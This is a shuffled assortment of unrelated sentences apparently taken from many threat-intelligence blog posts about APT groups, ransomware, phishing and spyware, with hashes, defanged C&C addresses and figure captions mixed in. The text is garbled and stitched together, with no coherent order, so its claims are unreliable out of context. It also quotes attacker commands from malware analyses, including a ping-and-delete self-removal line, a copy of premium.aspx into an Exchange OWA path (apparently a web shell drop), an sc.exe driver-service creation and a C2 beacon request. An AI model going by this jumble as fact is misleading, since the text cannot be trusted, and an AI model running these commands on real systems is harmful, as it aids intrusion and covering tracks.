Indicators of Compromise (IoCs): Related hashes (SHA-256):  0703a917aaa0630ae1860fb5fb1f64f3cfb4ea8c57eac71c2b0a407b738c4e19 (ShiftDoor) — detected by Trend Micro as BKDR_SETHC.D c14ea9b81f782ba36ae3ea450c2850642983814a0f4dc0ea4888038466839c1e (aio.exe)


Figure 10. Encrypted strings           Figures 11-12.


East/west is within the network itself.


Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.


This article has been updated to add references to the DarkSide victim data.


We manually replicated the routine and commands for disabling the defense solutions to further look into the routine.


Both use JPG as a delivering extension.


Figure 7. XOR Encrypted C&C communication


Restore endpoint connection Restores the network connectivity on an endpoint after investigation and/or remediation has occurred


The way the attackers get the ransomware on the system varies: it can be through unpatched vulnerabilities, social engineering or both.


In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.


HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.


When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.


In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.


jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }


Consistent with findings from CitizenLab, we assess likely government-backed actors purchasing these exploits are operating (at least) in Egypt, Armenia, Greece, Madagascar, Côte d’Ivoire, Serbia, Spain and Indonesia.


Jon Clay, VP of Threat Intelligence: [00:00:00


Here is an example from 2015 where “McAfee Email Protection” is offered.


Once they've driven to the store.


Further details were discussed in depth last month on Rapid7’s blog.


The function that initializes the modules      In Figure 1, we inferred the following mod_t structure:      Figure 2.


After the malware joins the C&C server, the server will assign a victim ID with “set key” event and send multiple “accept task” events with the commands “ScreenShot”, “SnsInfo”, “PackingTelegram”, “GetBrowsersCookies”, “GetBrowsersLogins”, “GetBrowsersHistories”, and “GetBrowsersBookmarks” to instruct the malware to collect private data from the victim.


Simply put: malware writers leverage malware specific libraries and groups of like actors will reuse these core libraries when able.  The needle in a haystack problem forever plagues malware research: it’s extremely difficult to find reliable information with malware writers constantly working to undermine or eliminate that information.


The phishing emails redirect users to fake Office 365 login pages.


He claimed that once the account was sold, only the one buyer and the legitimate user would have access.


Send the volume serial number of the C drive, which allows the attacker to identify the victim.


Figure 3: Hancitor distribution servers globally thus far in 2017  Table 1 – Number of Distribution Servers by Country


ATT&CK® tactics and techniques for Linux were also shared by MITRE.


Where this becomes a problem is when coin mining is done without the user’s knowledge and consent.


Jon:


The heap block will not be occupied by user-controlled data after the critical objects are freed.


Figure 2. A phony email from Pawn Storm


There is no single action you can take to protect your organization against this threat.


Given how cybercriminal tools, tactics and procedures are evolving, organizations will have to go beyond their typical day-to-day security requirements and find a way to preempt attacks.


The infection chain for Capesand that also shows the obfuscation mechanisms For this particular sample, CyaX_Sharp is obfuscated with a customized version of ConfuserEx.


Weaponized documents exploiting the Dynamic Data Exchange (DDE) method Weaponized documents exploiting the CVE-2018-0798 vulnerability in Equation Editor Exploitation of the CVE-2019-0604 vulnerability in Sharepoint Supply chain attack that compromises a chat software installer, Able Desktop Exploitation of recent vulnerabilities (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) in Microsoft Exchange Server


The Android security process begins early in the development lifecycle, and each major feature of the platform is reviewed by engineering and security resources.


We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.


They can also steal your computer’s processing power to mine for cryptocurrencies, which slows down your system.


Impersonating the Google Analytics service is a known tactic also used by Magecart Group 11, the group behind the Vision Direct breach.


Based on our current cases, the decrypted payload is Quasar RAT.


We identified a MacOS backdoor (detected by Trend Micro as  OSX_OCEANLOTUS.D) that we believe is the latest version of a threat used by OceanLotus (a.k.a. APT 32, APT-C-00, SeaLotus, and Cobalt Kitty).


Some Freenki samples had leaked the OS language ID through this same mechanism.


Following a recent study of apps in the Google Play Store, let’s discuss several security risks caused by the bad certificate management practiced in many Android apps, from social to mobile banking.


Joining me again is my cohort in crime.


The leaked debug symbols paths


phkyxc: A component used as WifiWakeLock.


T1129   Dynamically loads the DLLs through the shellcode Execution through API T1106


Indicators: The Follina vulnerability (CVE-2022-30190), first disclosed in late May, received significant usage from both APT and cybercrime groups throughout June after it was patched by Microsoft.


This included compromising at least two legitimate fintech company websites and hosting hidden iframes to serve the exploit kit to visitors.


We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.


For example, GandCrab uses JScript as a downloader, leveraging Windows Background Intelligent Transfer Service (BITS) to download the payload in the background (Figure 5).


In this case, repotaj.dll, which is ServHelper, will be extracted to %TEMP% and execute with the “feast” parameter as its export function.


TAG also recently released information on a segment of attackers we call “hack-for-hire” that focuses on compromising accounts and exfiltrating data as a service.


Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.


ReactGet Group injection pattern  Figure 7.


MITRE also identifies different main targets for each group: While Carbanak focuses on banking institutions, FIN7 targets food, hospitality, and retail establishments.


EDR is great for endpoints they are on.


PCs and Macs as well as smartphones and tablets increasingly support the use of password managers directly.


One account using the name “Oscar Sanchez” gave high ratings and positive comments to many of the “fun app” applications.


Marade acts as the first stage of attack, sending the compromised system’s information to the C&C server and then awaiting commands from the controller.


What Is Unauthorized Coin Mining?


While the guideline gives thorough recommendations on preventing supply chain attacks, it is still vital for organizations to take extra measures to mitigate vulnerable software components.


Our telemetry data shows Earth Lusca sending spear phishing emails containing malicious links to one of their targets — a media company.


This feature allows an intermediary Internet server to broker the connection, similar to a proxy server.


And once infection with a backdoor occurs, typical red flags may not be raised as it abuses microblogging and social media services to retrieve information needed for C&C communication.


Note that the KurdishCoder indicator was spotted also by the Italian Computer Emergency Response Team - Pubblica Amministrazione (CERT-PA), which they reported as a single incident.


When they would do this, the Hancitor attachment would download and install the final malware from a malicious or compromised site.


The operators work with initial access brokers to save time and allow for a larger profit potential.


We encourage high-risk users—like journalists, human rights activists, and political campaigns—to enroll in our Advanced Protection Program (APP), which utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.


ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.


MediaTek-SU exploit


What makes BIOPASS RAT particularly interesting is that it can sniff its victim’s screen by abusing the framework of Open Broadcaster Software (OBS) Studio, a popular live streaming and video recording app, to establish live streaming to a cloud service via Real-Time Messaging Protocol (RTMP).


Short-term mitigation


In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.


However, since early 2020, we’ve noticed some changes to Water Pamola’s activity.


Compile Time APT73 and Kitsune


Meanwhile, the app invokes code from the extra DEX file to enable the installation of unknown apps and the installation of the payload app callCam.


Countermeasures and Trend Micro Solutions Users unfamiliar with the various kinds of social engineering techniques might find it difficult to distinguish a legitimate message from a malicious one – thus the need for education on identifying and mitigating phishing attacks – especially if it involves organizations in sensitive industries such as government and manufacturing.


We haven’t seen any evidence of such attempts being successful.


Some of these features are listed below.


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


We also recommend users of the Chrome browser to update to version 79.0.3945.130 as they recently released an update to fix the TLS issue.  Palo Alto Networks customers running Traps are now safeguarded from the Windows CryptoAPI Spoofing vulnerability, regardless of whether they are running an unpatched Microsoft Windows 10 system.


Remote Services: SMB/Windows Admin Shares Discovery T1087.002


PLEAD’s installers are disguised as documents using the right-to-left-override (RTLO) technique to obfuscate the malware’s filename.


The phishing kit will also ask for second-factor authentication codes sent to devices.


Bad Rabbit is a ransomware attack that, at the time of this writing, appears to primarily be affecting countries in Eastern Europe.


Tags  Endpoints | APT & Targeted Attacks | Research | Articles, News, Reports | Cyber Threats


While it offers standard mailbox copies that was likely stolen with the help of credential phishing, Void Balaur also offers copies of mailboxes that have not been interacted with — for a higher price.


Figure 13. Network configuration (Left: ChiserClient


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  3195c355aa564ea66b4b37baa9547cb53dde7cf4ae7010256db92fff0bde873d  flash.exe


SteganographyDaserf’s infection chain accordingly evolved, as shown below.


For users, Android provides safety and control over how apps and third parties can access the data from their devices.


We received leads from the FBI that supported us in this investigation.


Figure 16.


In just two days, the volume observed and categorized as spam by Gmail exceeded 4,500 emails.


pipeCommunication.Close(); }


Once clicked, the link redirected the target to an attacker-owned domain that delivered the exploits before redirecting the browser to a legitimate website.


On June 21, we found that the website of a Korean non-profit organization was compromised with an injected script that collected visitors’ information.


This step is likely designed to avoid attacking an already infected victim.


Figure 1: Bogus patch installer overlying malware requesting administrative permissions  This interaction can install malware or malicious software on the device, grant malware full administrative privileges or lock the user out and render the device unusable.  In the past successful overlay attacks were typically dependent on two conditions:  However, with this particular vulnerability, these conditions are no longer required for a successful attack.


We found an Avast anti-rootkit driver installed as service 'asWarPot.sys' using the command sc.exe  create aswSP_ArPot2 binPath= C:\windows\aswArPot.sys type= kernel.


While it’s less common to see DDoS attacks rather than phishing or hacking campaigns coming from government-backed threat groups, we’ve seen bigger players increase their capabilities in launching large-scale attacks in recent years.


RTF files will look exactly like regular Word documents


This file is a marker to determine if the scheduled task of the backdoor has been installed.


Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.


Activate sandbox analysis.


We warn users when we suspect a government-backed threat like APT35 is targeting them.


Microsoft Powerpoint presentation .png, .jpg, .jpeg Image file .pst, .ost Microsoft Outlook file .csv


The only way to update an app is for the developer to sign the update with the same digital certificate originally used to publish the app.


The group also evades virtualization and sandboxes and injects malicious code into hollowed processes to dodge process-based defenses.


This post is also available in:      日本語 (Japanese)  CTB-Locker is a well-known ransomware Trojan used by crimeware groups to encrypt files on the victim's endpoints and demand ransom payment to decrypt the files back to their original state, but most antiviruses detect it by mistake as CryptoLocker (only one vendor correctly detects it as CTB-Locker).


File type File extensions Document files .txt, .csv, .doc, .docx, .xls, .xlsx, .pdf WhatsApp databases .db.crypt5 to .db.crypt12 Geolocation related files .kml, .kmz,  .gmx, .aqm Audio files .mp3, .opus Videos .mp4, .amr, .wmv, .3gp, Pictures .jpeg, .jpg


During our investigation, we found some old samples that fit in these categories but have not been reported.


According to the SolarWinds SEC filing, this trojanized version was downloaded by under 18,000 customers from March to June of 2020.


In particular, this means that malicious apps from websites and app stores other than Google Play can carry out overlay attacks.


There was a bug that existed in LockBit 2.0 that allowed researchers to revert the encryption process on an MSSQL database.


The phishing emails and lure documents contain embedded URLs linking to a legitimate file-sharing service to distribute archives containing the ScreenConnect remote administrator tool.


In mid-March, a security researcher released a blog post detailing a 'Browser in the Browser' phishing technique.


Marketplaces like the one offered by AWS make it a lot easier to get the right security tools in the hands of those that need them most.


The evidence is that Waterbear frequently uses internal IPs as its own C&C servers (for instance, b9f3a3b9452a396c3ba0ce4a644dd2b7f494905e820e7b1c6dca2fdcce069361 uses an internal IP address of 10[.]0[.]0[.]211 as its C&C server).


They also conduct corporate espionage, handily obscuring their clients’ role.


RemoteModuleCommandPacket


XOR routine that encrypts C&C communication      Figure 17.


The C&C server will send Protux to the victim’s host and execute it.


It is fair to assume that the developers work on daily working times.


The Cobalt Strike loader, which has a PDB string “C:\Users\test\Desktop\fishmaster\x64\Release\fishmaster.pdb”, connects to the C&C server “download[.]google-images[.]ml”.


The command for execution is shown as here: > Nerapack.exe {base64 encoded key}


= this.m_rawLen;


WanaCrypt0r v 1.0 was first reported a few months ago but did not include the worm capability associated with this attack.


AWS starts with the customer and works backwards.


GET http://{C2}/Index.php?vubc={identity} HTTP/1.1


After extracting the content of the Adob.dll zip archive, two legitimate and signed executable files are present and executed, and a similar sideloading process happens once more.


Encrypted string We observed that some of the samples still had errors in the cipher routine.


The many similarities between these exploits lead us to believe they were written by the same actor or group.


The script to create and delete fake login form for credential phishing     The other approach involves showing an authorization error message and then redirecting the user to a phishing website that asks users to enter their credentials.


From there, you can work backwards to develop your strategy for protecting those initial access areas tied to the different attacks.


The email in question is an invoice request that has a legitimate email header, which is a known tactic used in BEC scams.


This mechanism prevents precise control of the data of a freed object from further exploitation.


At the time of our research into this threat, only the “print(1)” command is able to be executed.


Countermeasures


There exist two embedded zlib-encrypted blocks at file offset 0x8C0C0 and 0xE6B40 respectively.


Trend Micro™ Hosted Email Securityis a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.


While the obfuscation and execution may differ between the two, both samples contain very similar core functionality, due to the author copying the leaked Babuk/Babyk source code in order to develop the HelloXD ransomware (Figure 7).


Using the Trend Micro Vision One Workbench, you can easily see what threats were detected, attack techniques, and a prioritized list of risky devices and users.


The malicious actor can then connect to the relevant RTMP address to watch the streaming.


Figure 3.


nha


To elevate privileges, the groups bypass Windows User Account Control (UAC) mechanisms, new services, and valid accounts to elevate process privileges.


In the game of measure-countermeasure that is cybersecurity today and tomorrow, XDR is the next evolutionary step in dealing with more evasive threats.


Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations – in other words, the users who are frequently targeted by surveillance tools.


This use of known, legitimate tools is not new; we call that “living off the land” and have seen this tactic pick up recently, including usage by ransomware actors.


DiscoveryOur first inkling of this threat came when we spotted a spear-phishing email campaign targeting several embassies of various European countries.


Attackers use them to take down websites for several reasons:  About Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.


After impersonating a fake victim of interest, we obtained a second stage payload (Detected as TROJ_DELF.XXWZ), which is a filestealer based on the Delphi programming language similar to the “svctrls” malware described in our previous blogpost.


All apps like those from Netflix, Amazon, Hulu and others have their own passwords to connect to their service, and attackers crack and sell compromised accounts to these services.


While the Windows service “IKEEXT” is starting, the fake wlbsctrl.dll is loaded and executed with high privilege.


Its apparent staying power stems from the furtive ways with which its attacks can evade traditional security solutions.


Security awareness is critical to avoid falling victim to such an attack.


In total, the following 14 functions are loaded during runtime:


When we think about home entertainment, there’s really two things you need to think about with security.


One thing reports have indicated that make this attack unique is a “killswitch” capability built into the malware.


Tags  Endpoints | APT & Targeted Attacks | Research | Articles, News, Reports


We found three new samples of the Type 1 malware family that abuses Dropbox as a secondary C&C channel, which we described in our Operation DRBControl whitepaper.


However, this particular mutex was associated with only a recent subset of the Allaple family.


SHA256  Description


For the PowerShell script, the first part contains a variable named dragon_middle, which is an array containing a few hundred URLs ending with connection.php that serve as proxies between victim and C&C.


However, an increasingly popular method uses premium SMS.


simsoshop.com


It also uses this information to determine the amount of ransom to demand, with a typical ransom demand amounting to anywhere between US$200,000 and US$2 million.


Delivered as part of its industry-leading platform, Cloud One – Application Security provides code-level visibility and protection against the latest cyber threats.


We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions.


Snapshots of Daserf’s steganographic code generated by their toolkit MitigationSteganography is a particularly useful technique in purposeful cyberattacks: the longer their malicious activities stay undetected, the more they can steal and exfiltrate data.


The terms remote administration tool (RAT) and trojan downloader are often used synonymously with such implants.


XDR fills in those gaps.


While TAG has previously observed this technique being used by multiple government-backed actors, the media picked up on this blog post, publishing several stories highlighting this phishing capability.


One such module leverages the fact that the length of a vector object is always consistent with memory allocation, which means we can deduce the memory usage from the sum of the length of all allocated vectors.


Gone are the days in which these attacks only target the endpoint, and as such, an expanded connected threat defense is paramount.


In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.


Time will tell.


These campaigns were sent using newly created Gmail accounts to non-Google accounts, so the success rate of these campaigns is unknown.


Querying VirusTotal with this string led to the discovery of eight files, six of which could be directly attributed to x4k through their own VirusTotal graph mapping out their infrastructure.


Upgrade Cortex XDR and Traps agents for protection against this vulnerability regardless of whether your systems have installed the relevant security update from Microsoft.


The good news is that this vulnerability was disclosed responsibly and patches are available for most platforms on the day of the public disclosure.


After the system is compromised the victim is asked to send US $300 in Bitcoin to a specific Bitcoin address and then send an e-mail with the victim’s bitcoin wallet ID to wowsmith123456@posteo[.]net to retrieve their individual decryption key.


The decoy file first drops a flash_en.inf DLL file, which is a USBferry loader, and tries to load the encrypted USBferry malware


Figure 17.


We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.


We haven’t seen any evidence of such attempts being successful.


The following commands are supported:  Once again, using the previous example, the malware will first ensure that the command was not previously parsed/executed.


If yes, it modifies the process ID, which should open on another Windows Service PID.


Full automation is always the ideal but it isn’t always necessary.


We terminated 123 YouTube channels as part of our investigation into coordinated influence operations linked to Russia.


The X could be network data, email or web data, data from cloud instances, and others.


Additional Findings on BIOPASS RAT


Based on the number of “likes” the malware had generated, Faghani estimated that over 100,000 users had been infected with the malware.


copy premium.aspx "\\{hostname}\d$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\15.1.2044\scripts\premium


The next variant appeared quickly, and it added the following abilities to its routines: Steal information about the device’s clipboard, phone number, installed app list, and accounts.


Another surprising similarity in the TTPs related to both campaigns is the path pointing to “udel_ok.ipp,”  as shown in Figure 7.


So cyber is still critical as we become more hyper-connected.


TAG actively monitors threat actors and the evolution of their tactics and techniques.


To do this, they make the spam look like something that requires you to click and download something like and invoice, a message, or a delivery notification.


It’s also important to set reminders to check if devices such as routers, cameras, network-attached storage (NAS) devices, and other IoT devices have been patched or otherwise.


The Sandworm campaign used compromised government accounts to send links to Microsoft Office documents hosted on compromised domains, primarily targeting media organizations in Ukraine.


Stage 3: BasicLoader


CryptoWall is one of multiple ransomware families that generated income for the attacker by encrypting files on the infected PC with a private key that is in the control of the attacker.


In contrast, a 0-day is a vulnerability with no available patch which makes it harder to defend against.


During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”


The browser then navigates to Gmail to begin the data collection.


The “X” axis represents the hour of the day (in 24 hours).


Then the code loops through the files within a .rar archive looking for a CAB file (TVNDRgAAAA base64 decodes to MSCF, which is the magic header of a CAB file).


After a series of malicious behavior, attackers need to remain stealthy and undetected by using security solutions that can remove threats out of the system.


This is in line with the increasing number of brute-force attacks performed by other APT groups such as Pawn Storm, a group that has compromised numerous assets like email addresses and email servers of targets that are typically not aligned with Pawn Storm’s objectives.


We detected 11,637 cybersquatting newly registered domains (NRDs) during February and March.


Technique: A detection on technique means the detection can be attributed to a specific adversarial action (e.g. credential dumping).


Latest News | Exploits & Vulnerabilities | Cyber Threats | Connected Car | APT & Targeted Attacks | Endpoints | IoT | Video


One key thing that research into these security incidents shows is that these attacks used a relatively new and unknown technique called kernel APC attacks as part of their toolkit.


Connect with “hxxp:// kristom[.]hopto[.]org /{computer name}_{hexadecimal volume serious number}/help_05_03[.]php” (MITRE ATT&CK framework IDs T1043, T1071, T1082)


Multiple writeups detailing exploitation scenarios for the aforementioned two vulnerabilities were published in the last week of April, finally followed by a CISA Alert on May 18.


Existing Xpanse customers can log into Expander and identify their enumerated Atlassian Confluence devices by filtering by “Atlassian Confluence Server” in the Services tab.


Articles, News, Reports


PipeCommunication pipeCommunication = new PipeCommunication(true, text); bool flag = false; while (!flag)


Figure 4 Hard-coded fake threat detection results


After validating that badger_x64.exe and OneDrive.Update were both BRc4 payloads, we set to work analyzing the employment of this second sample.


The C&C server 104[.]233[.]224[.]227 was hosted under a small hosting service with only 64 IPs under it.


Windows Management Instrumentation (WMI) will be used to run dlpumgr32.exe with arguments “-up -run -x” and it will exit the current process.


Recently observed Turla domains: COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.


Figure 3.


On Feb. 15, the Cyberpolice of Ukraine reported that residents were actively receiving fake SMS text messages.


In this case the e-mails claim to contain a document about a court case.


In some cases, LockBit 2.0 operators have performed DDoS attacks on the victims' infrastructure as well as using a leak site.


We found some special mutexes that are encoded by the layout of the Chinese Zhuyin keyboard in ChiserClient.


Some of these samples were several years old and had left the original name of the bit-flip decryption algorithm, which was “EnDecrypt”.


This Unit 42 blog post provides an update on the threat situation surrounding the Bad Rabbit ransomware attacks.


cmd.exe /C ping 1.1.1[.]1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\admin\Desktop\xd.exe"


Android malware like ransomware exemplify how the platform can be lucrative for cybercriminals.


This post is also available in:      日本語 (Japanese)  On May 4, 2022, F5 released a security advisory for a remote code execution vulnerability in the iControlREST component of its BIG-IP product tracked in CVE-2022-1388.


expand {filename}.ex_ {filename}.dat expand {filename}.ex_ {filename}.exe


Figure 6 is a screenshot of a recently captured Virlock ransom note.


To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.


Offset 0xAC, Size 0x02: Port Offset 0xAE, Size 0x5A: Reserved bytes Table:


af[.]org


Connect to the C&C server every 10 seconds to download, save, and execute script files containing the commands.


Presently, customers may leverage the following to block or detect the threats communicated throughout this publication:


Russia


This included the soon-to-be de rigueur data exfiltration and deletion technique, and also redirection of some DNS records.


Using Kronos and SmokeLoader (v2019) TA505 previously used Amadey to distribute the FlawedAmmyy downloader before, so the use of Kronos and SmokeLoader can’t be considered strong evidence of false attribution.


Some hack-for-hire attackers openly advertise their products and services to anyone willing to pay, while others operate more discreetly selling to a limited audience.


Set QWORD Value {Variable}.registry.write Write/Add Registry {Variable}.registry.provider Create Registry Handle {Variable}.registry.destroy Deletes Registry Key {Variable}.registry.read Get/Read Registry Entries {Variable}.WMI WMI-related functions {


Figure 8 shows that the number of Ukraine-related phishing/scam sites is currently continuing to rise about a month after the “Ukraine aid” search term started trending in Google search.


If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.


Please mark, I'm not a robot!


Unfortunately, there’s nothing obvious that differentiates a website infected with Magecart from any other site.


This year Microsoft has already patched 126 IE vulnerabilities to date.


These attacks impacted Ukrainian government organizations including the Ministry of Defense, Ministry of Foreign Affairs, Armed Forces of Ukraine and the publicly funded broadcaster Ukrainian Radio.


This initial focus has led to speculation that Lapsus$ Group may be Brazilian, although we understand the choice of targets to have been influenced by extended team members rather than the team leadership.


How is GitHub abused?


Ignite '17 Security Conference: Vancouver, BC June 12–15, 2017  Ignite '17 Security Conference is a live, four-day conference designed for today’s security professionals.


Recently, we uncovered the Operation Earth Kitsune campaign and published a detailed analysis of its tactics, techniques, and procedures (TTPs).


Updated May 17, 2021, 3:25 a.m. Eastern Time:


The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.


Appending their malicious script to the victim’s email signature to propagate the infection to their contacts.


head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'


.pptx .pst .rar .sh .sql .txt .xls .xlsx .xml .zip


Figure 5. Infected Linux device connected to a C&C server


New anti-DGA technologies that leverage machine learning and big data are capable of countering DGA’s automation with automated prediction of their own that can anticipate, block, assist with malicious site takedowns or even, in some cases, prevent those malicious sites from being used in the first place.


TClient is injected into dllhost.exe Malware Analysis  wab32res.dll (FakeRun loader) loads TClient.


The most common way ransomware operators levy attacks is through email or by web browsing to malicious or compromised sites.


Network destination for template injection: 176[.]119[.]147[.]225 Network destination for VBS: 176[.]57[.]215[.]115  These IP addresses are from Russian hosting companies.


As part of our wider tracking of APT31 activity, we've also seen them deploy targeted malware campaigns.


Web hosting ransomware can also be downloaded and successfully installed through a multi-layered infection chain among different file types.


Among these cybercriminals are financially motivated threat groups Carbanak and FIN7.


Figure 13.


This results in a few hundred thousand individual mutexes available for further analysis.


Across all Google products, we incorporate industry-leading security features and protections to keep our users safe.


x.TextContent.StartsWith("Access for less secure apps has been turned on") select x).ToList


Once Charlie has access to Alice’s email account, he then finds email conversations between Alice and Bob, his ultimate target.


They continue to use the 'Browser in the Browser' phishing technique that TAG first observed and described in March.


Before starting analysis, we needed to set up a test environment.


Core component code that receives and decrypts data from the C&C server      If something is received, it is decrypted and written to the main pipe.


1.      The “notice” handler is used for checking the connection with the C&C server.


No longer do groups need to have the technical expertise, now they just need resources.


For the initial information packet, the backdoor also collects the following:  Figure 15.


And the reason why I want to tackle this today is because I've had some conversations in the last few days that have really kind of hit that idea bulb that people don't truly understand how cybercriminals get away with their crimes in the organization.


A partial code snippet of AutoHotkeyu32.ahk  Figure 5.


Furthermore, 3.5M users were warned before downloading a malicious file through Google Safe Browsing warnings.


Conclusion  Even popular third party monetization platforms are not always trustworthy.


Figure 5.


A successful attack on a company providing critical services will have rippling effects that will harm multiple sectors of society, which is why protecting these services should be a top priority.


Abusing popular platforms like GitHub enables threat actors like Winnti to maintain network persistence between compromised computers and their servers, while staying under the radar.


The header for a sample document can be seen below.


In March 2021, Microsoft kicked off the patch cycle early after releasing an advisory regarding the mass exploitation of four zero-days vulnerabilities by a Chinese Hacking group, HAFNIUM, on the on-premises versions of the Microsoft Exchange Server.


In this case a legitimate service (Tor) was being abused by CryptoWall so it could avoid having its C2 servers shut down.


For example, the URL links can be posted on forums or chat group software, sent by IM applications, offered via fake freeware for download or attached in emails.


Google’s Threat Analysis Group (TAG) continues to closely monitor the cybersecurity environment in Eastern Europe with regard to the war in Ukraine.


We terminated 9 YouTube channels as part of our investigation into coordinated influence operations linked to China.


To mitigate such risk, organizations must think globally and exert efforts to follow codes of local culture.


This is shown in the figure below.


Mobile


The command that we received showed that the targeted browsers include Google Chrome, Microsoft Edge Beta, 360 Chrome, QQ Browser, 2345 Explorer, Sogou Explorer, and 360 Safe Browser.


Recently, FireEye published a blog titled “Operation Poisoned Hurricane” which detailed the use of PlugX malware variants signed with legitimate certificates that used Google Code project pages for command and control (C2).


Stage 4 is the final payload (analyzed in the next section).


Secret key generation


As that trend shows no sign of slowing down anytime soon, we can expect this to remain a very lucrative avenue for attackers.


Its latest version can mute the device (i.e., take out the ringtone and vibration features) and sync call logs and SMSs.


We have seen it deployed against fewer than two dozen accounts located in Iran.


Backdoor.


A normal PC used to mine Monero can earn around US$0.25 per day at the current prices.


We were able to collect evidence that credential phishing emails were sent to chmail.ir users on May 18, 2017, just one day before the presidential elections in Iran.


The .NET downloads jm1 — an .MSI installer — that installs another NSIS installer, leading to a ServHelper infection in the system.


With the appropriate tools it’s possible to enable a single researcher to continually review and categorize new mutexes.


Recap of recent Pawn Storm activities Compromising accounts of users from the Middle East Trend Micro has been closely and consistently monitoring the activities of Pawn Storm, and in March 2020, we released our latest research on the group.


As of July 7, this includes 85.8% of active Android devices.


Table 1. Domains registered using the email address


By comparison, the latest version of the CryptoWall malware family takes roughly 1-3 minutes to complete its encryption routine.


Cortex XDR endpoint protection stops malware, exploits and ransomware before they can compromise endpoints.


Preferably, find a password manager that requires two-factor authentication.  2. Protect Your Home Routers and Wi-Fi:


If this functionality were available in some more open source setting, and was of even moderate quality, we would expect to see it used in other malware families as well.


Recently observed IPs used in Curious Gorge campaigns: COLDRIVER, a Russian-based threat actor sometimes referred to as Calisto, has launched credential phishing campaigns, targeting several US based NGOs and think tanks, the military of a Balkans country, and a Ukraine based defense contractor.


Figure 9. hxxps://startrackzm[.]com/wap-admin/ONE-DRIVE/one%20d%20%20no%20auto.php?Email=REDACTED@REDACTED.gov.ua.


We remediated the compromises for these users and implemented controls to protect all Android users.


Figure 6.


The below example shows that the blocking works (output from the "sc start" command):


With this addition protection available, our customers can and should include that as part of their decisions around security and deployment of the security updates and their risk assessment of the vulnerability and threat environment.


As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.


Upon writing this entry, we’ve coordinated with Google to ensure that the malicious applications these C&C sites advertise are no longer available for download on the Google Play Store.


We updated our operating system with the latest patch at the time (2021-004) and tried the exploit again.


What are your thoughts on the ransomware attacks on retailers as we approach the busiest times of the year for retailers, including Black Friday, Cyber Monday and the holiday season?


LIGOLO execution example


This means that web users can get a class object remotely by simply submitting a URL as shown in Figure 4.


Fortunately, we were still able to collect the decryption key in some cases and we decrypted the payload successfully.


In 2018, CERT-UA published an advisory against the malware Pterodo, which the group allegedly used.


The APT33 actors then issue commands to the bots and collect data from the bots using these VPN connections.


Although much of Sandworm’s activity targeting Ukraine and their attacks against the 2018 Winter Olympics have been covered publicly, some campaigns have not been reported.


Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, recently introduced a new capability into their credential phishing campaigns.


The app is distributed under the guise of performing Denial of Service (DoS) attacks against a set of Russian websites.


View active directory objects dsquery.exe DsQuery


Among other targets, this spyware was used to compromise journalists and opposition politicians.


The following two conditions must both be met for a system to be vulnerable to attack:  If your Struts application does not meet both of these conditions, your application may still be vulnerable but not (currently) exploitable via CVE-2018-11776.


The obfuscation used was not particularly sophisticated.


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Figure 24. Running more system network configuration discovery scans


This oplib.dll library is then sideloaded.


MITRE ATT&CK Techniques Mapping  Tactic  Technique  Resource Development  Acquire Infrastructure: Web Services – T1583.006  Initial Access  Phishing: Spearphishing Attachment – T1566.001 Phishing: Spearphishing Link – T1566.002  Execution  Command and Scripting Interpreter: PowerShell – T1059.001


It was interesting to see the use of Capstone.js, a port of the Capstone disassembly framework, in an exploit chain as Capstone is typically used for binary analysis.


b64_data = str[len("magnet:?xt=urn:bhih:"): tail] b64_decode = base64.b64decode(b64_data) key = ord(b64_decode[2]) data = b64_decode[4:] output_file = open("C2_info", "wb")     for single_byte in data: output_file.write(chr(ord(single_byte) ^ key)) output_file.close()


A new form is displayed if the information is not provided via command prompt.


“jh” itself is more common than would be expected given that, with fingers on the home row, it requires the right index finger to move and press another key before any other key is struck.


What can I do about it?


FormerFirstRAT  This remote administration tool (RAT) is referred to as “FormerFirstRAT” by its authors.


It contains the core, beans, context and Spring Expression Language (SpEL) modules.


During the operation, 25.1 BTC from 538 wallets was sent to 1NDyJtNTjmwk5xPNhjgAMu4HDHigtobu1s (SHA256: CE11703DEF517306326C48A67A7C859A3DE0F18E2451DF226CE171389A5B7953), which is a wallet owned by Binance cryptocurrency exchange.


Sphinx was active between June 2014 and November 2015, but timestamps of the malware indicate the attacks started as early as 2011.


